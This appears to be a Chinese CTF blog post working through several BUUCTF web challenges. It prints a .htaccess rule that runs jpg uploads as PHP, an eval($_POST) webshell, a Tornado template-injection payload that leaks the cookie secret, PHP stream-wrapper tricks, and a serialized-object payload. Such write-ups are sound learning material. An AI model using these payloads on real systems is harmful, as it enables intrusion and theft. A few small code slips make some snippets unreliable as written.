BUU CTF Lrean 2

上一个帖子已经很久了 重新开一手

[GXYCTF2019]BabyUpload

考点:

· .htaccess
·  Content-type类型绕过

打开后是一个上传界面,尝试上传php文件后提示 ‘后缀名不能有ph!’

这使得所有的php后缀名全部被过滤

尝试使网页报错后发现为‘Apache/2.4.10 (Debian) Server ’

根据之前CTFHUB 的经验 上传一个.htaccess文件把jpg解析成php试试看

<FilesMatch "jpg"> 
    SetHandler application/x-httpd-php
</FilesMatch>
又提示了一手:
尝试修改content-type:image/ipg
上传成功
然后上传一个jpg webshell
搞我一手
看来普通的一句话木马已经不成立了

尝试用Script 上传一句话:

<script language='php'>eval($_POST['a']);</script>
但是用蚁剑连接后发现还是会报错
尝试访问上传地址发现没有了
猜测服务器会隔一段时间清空一手upload中的东西
条件竞争
尝试循环上传两个文件链接
还是失败
这里就不知道了

[护网杯 2018]easy_tornado

考点;ssti模板注入

解题:

打开后三个界面,依次打开后分别是

flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

并且还有一个报错页面,因为题目原因,尝试一下ssti注入

在error中输入{{datatime}} 发现有回显,因hint提示了要用cooike_secret

这个我们怎么找呢?

通过查阅文档发现cookie_secret在Application对象settings属性中,self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造{{handler.settings}}

发现cooike_secret,又因为flag提示了flag的地址

尝试构造

import hashlib

def md5(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
filename = '/fllllllllllllag'
cookie_secret = 'ccfbba3f-5b62-45a6-827c-c9313d30417d'
print(md5(cookie_secret+md5(filename)))

计算得:64d9d1ac170f2db3e2ac3d4e586add51

输入获得flag

 

[De1CTF 2019]SSRF Me

考点:SSRF

解题:

打开后是源码

整理

审计代码,发现不会

换一题

 

[ZJCTF 2019]NiZhuanSiWei

考点:

PHP伪协议,简单的反序列化

解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
   echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{</span>
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

打开即源码,源码审计(哦又是源码审计我一点爷不想审代码)

我们发现需要get三个参量,分别是text,file,password,且text必须等于welcome to the zjctf,过滤了flag关键字等条件

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

之前接触过一个php伪协议读源码,其实他还有很多,这里我们用data://协议传入文字即

?text=data://text/plain,welcome to the zjctf

有些题还会直接过滤明文,所以这里base64编码一下也可以(本题没过滤

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

即可绕过第一个

  if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

让我们再看一下第二个绕过

php://filter/read=convert.base64-encode/resource=useless.php

很简单的伪协议读源码即可

解密后useless.php为

<?php
class Flag{ //flag.php 
    public $file; 
    public function __tostring(){ 
    if(isset($this->file)){ 
        echo file_get_contents($this->file); 
    echo "<br>";
    return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
    } 
?>

继续审计

else{
     include($file);  //useless.php
     $password = unserialize($password);
     echo $password;
     }

这里如何绕过呢

根据读到的useless.php 发现__tostring()方法,可能要反序列化。尝试构造

<?php  
class Flag{  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  

$a = new Flag();
echo serialize($a);
?>

O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

尝试传入上面所有变量

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

源码获得flag

发表评论

邮箱地址不会被公开。 必填项已用*标注